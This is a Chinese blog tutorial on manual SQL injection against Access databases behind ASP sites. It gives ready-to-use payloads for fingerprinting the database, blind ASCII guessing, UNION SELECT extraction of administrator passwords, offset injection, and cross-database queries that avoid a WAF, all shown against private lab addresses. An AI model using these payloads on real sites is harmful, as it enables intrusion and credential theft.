SQL注入之——ACCESS手工注入

ACCESS手工注入

ACCESS手工注入(上)

Access数据库一般用于流量小的小企业搭建网站,搭建方便,维护简单

理论基础

爆出数据库类型(需要低版本IE浏览器)

			内置变量爆数据库类型
				SQL Server 有一些系统变量和系统表,如果服务器 IIS 提示没关闭,并且 SQL Server返回错误提示的话,可以直接从出错信息中获取判断数据库的类型(后面会给大家讲解如何突破 IIS 提示被关闭)。
					“User”是 SQL Server 的一个内置变量,它的值是当前连接的用户名,其变量类型为“nvarchar"字符型。通过提交查询该变量,根据返回的出错信息即可得知数据库类型。方法是在注入点之后提交如下语句。
						and user>0
							该查询语句会将 user 对应的 nvarchar 型值与 int 数字型的 0 进行对比,两个数据类型不一致,因此会返回出错信息
								如果提示如下出错信息
									Microsoft OLE DB Provider for SQL Server 错误'80040e21' 
									/home/yz/yu/show.asp
									将 nvarchar 值'****'转换为数据类型为 int 的列时发生语法错误。
									Microsoft OLE DB Provider Drivers ODBC Drivers 错误 ‘80040e21’
									ODBC 驱动程序不支持所需的属性。
									/news_view.asp,行 20
									ASPX 相关 微软的数据库
									Access数据库
			内置数据表爆数据库类型
				如果服务器 IIS 不允许返回错误提示,通常可以通过数据库内置的系统数据表来进行判断。在注入点后提交如下查询语句。
					and (select count(*) from sysobjects)>=0
						Access 存在系统表[msysobjects],不存在“sysobjects”表。因此如果数据库采用的是 Access,会返回如下提示错误信息
							Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e37'
							/home/yz/yu/show.asp, 行 8
							[Microsoft][ODBC Microsoft Access Driver] Microsoft Jet 数据库引擎找不到输入表或查询'sysobjects'。确定它是否存在,以及它的名称的拼写是否正确。
					and (select count(*) from msysobjects)>=0
						在 MS SQL Serve:存在系统表[sysobjects],不存在[msysobjects]系统表,因此会返回如下错误提示信息为
							Microsoft OLE DB Provider for SQL Server 错误 '80040e37'
							对象名 'msysobjects' 无效。
							/home/yz/yu/show.asp, 行 8

猜数据库名

			可在注入点后提交如下语句进行查询。
				and exists(select * from 数据库表名 )或者
				and (select count(*) from 数据库表名 )>=0
				上面的语句是判断数据库中是否存在指定数据库表名。如果页面返回出错,那么可更换其他常见数据库表名继续进行查询。

猜字段名及字段长度

			可在注入点后提交如下语句查询。
				and exists(select 字段名 from 数据库表名 )或者
				and (select count(字段名) from 数据库表名 )>=0
				如果存在此字段名,返回页面正常,否则可更换字段名继续进行猜测。
					猜解字段长度,可提交如下查询语句。
						and (select top 1 len(字段名) from 数据库表名 )>2
						and (select top 1 len(字段名) from 数据库表名 )>n-1
						and (select top 1 len(字段名) from 数据库表名 )>n
						当提交>n-1 时正常,而提交到>n 时返回出错,那么说明字段长度为 n,

猜字段值

			猜字段的 ascii 值,可在注入点后提交如下查询语句
				and (select top 1 asc(mid(字段名,1,1)) from 数据库表名 )>0
				and (select top 1 asc(mid(字段名,1,1)) from 数据库表名 )>1 „
				and (select top 1 asc(mid(字段名,1,1)) from 数据库表名 )>n-1
				and (select top 1 asc(mid(字段名,1,1)) from 数据库表名 )>n
				这个表中这个字段中第一行第一个的字段的asc码
				当提交>n-I 时正常,而提交到>n 时返回出错,那么说明字段值的 ASCII 码为 n。反查
ASCII 码对应的字符,就可得到字段值的第一位字符。再继续提交如下查询( ASCII 值大于 0 ,字段值应该为字母,如果是小于 0 那么说明是汉字)
					and (select top 1 asc(mid(字段名,2,1)) from 数据库表名 )>0
						用与上面相同的方法,可得到第二位字符。再继续进行查询,直接猜解出字段的所有字符值为止。
			用与上面相同的方法,可得到第二位字符。再继续进行查询,直接猜解出字段的所有字符值为止
		注意
			access 数据库都是存放在网站目录下(后缀格式为 mdb,asp,asa),遇到使用Access数据库时,有很多工具是针对默认的指定数据库路径进行扫描通过 一些暴库手段、目录猜解等直接下载数据库
			Access打开直接是表
				采用的方法都是暴力破解
					不像mysql等可以利用丰富得内置资源进行测试
			如果是 MSSQL、MYSQL 等,一般数据库是存储 在数据库安装路径下,后缀格式为 myi,myd,frm,mdf 不能通过下载得到库除非对方管理员把网站库备份在网站目录下。

ACCESS手工注入(下)

SQL 注入中的高级查询——order by 与 union select

	ASCII 码猜解法很浪费时间,下面介绍一种高效率的方法order by 与 union select 联合查询,可以快速地获得字段长度及字段内容。这种查询方法,不仅可以利用在 Access 数据库猜解中,必须掌握的方法。同样也可以利用在其他类型数据库的注入猜解中,是一种非常重要,而且必须掌握的方法
		 order by 猜字段数目
			order by 1
			order by 2
			...
			order by n-1
			order by n
			如果 n-1 时返回正常,n 时返回错误,那么说明字段数目为 n
		 union select 爆字段内容
			and 1=2 union select1, 2, 3...., n from 表名
			执行上面的查询时,在页面中会返回数字,修改查询语句中的数字为字段名,例如提交如下代码。
			and 1=2 union select1, 字段 1, 字段 2...., n from 表名
			在页面中就会返回字段内容,不必一个一个进行猜解了。

union select 查询攻击测试

			首先查询字段数(假设为7)
				http://192.168.1.55:901/news_view.asp?id=14and 1=2 union select 1,2,3,4,5,6,7 
		from administrator
					(通过联合查询从这 7 个字段里面去查询 administrator 表里面那些是可写的数字)
						从页面返回信息中,可看到显示了数字 2 和 3。因此可以将这 2 个数字替换为字段名
							http://192.168.1.55:901/news_view.asp?id=14and 1=2 union select 		1,user_name,password,4,5,6,7 from administrator
							在页面返回信息中,立即获得了 user_name 和 password 字段的值

ACCESS手工偏移注入

偏移注入是针对 Access 数据库,当我们注入猜到数据库表名确猜不到列名的情况下,这种方法就可以帮我们填补
	例如: http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1,2,3,4,5,6,7 from administrator 当我们把把 username 或 password 代入 2、3 查询不到的时候,就可以使用下面方法
		http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1,2,3,4,* from administrator 分别用*号代替数字,直到返回正常页面。
			发现在 4 的时候页面返回正常,接着我们用 7-4=3(代表 administrator 有 3 个字段)再接着用 3*2+1=7 来构造第三步注入语句
				第三步: http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1, a.id,b.id, * from(administrator as a inner join administrator as b on a.id=b.id) 注:a.id ,b.id 每个占三个字段,就是上面 3*2
					 去掉a.id,b.id,可能爆出用户名
						第四步: 如果用户名和密码没暴出来,并且字段数多的情况下(例如:10 个字段,那就是3*3+1=10 ) , 那 么 通 过 下 例 语 句 还 可 以 接 着 暴 用 户 名 和 密码
							http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1,a.id,b.id,c.id,* from ((administrator as a inner join administrator as b on a.id=b.id) inner join administrator as c a.id=c.id)

ACCESS手工跨库查询

假设 a 和 b 两个站点在同一服务器上面,但服务器上面安装了安全狗、Waf 这样的安全软件,现在我们要对 a 站点进行攻击,但是没发现什么大漏洞,只找到网站数据库路径,对数据库下载发现下载不了。这个时候我发现 b 站 点 有注入点
	http://192.168.1.106:901/news_view.asp?id=14
UNION SELECT 1,adminpassword,username,4,5,6,7 from [C:\wwwtest\2AspCMS\AspCms_data\data.asp].Aspcms_Admins
		在2,3,把另外一个数据库的字段名写进去,末尾是表名
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值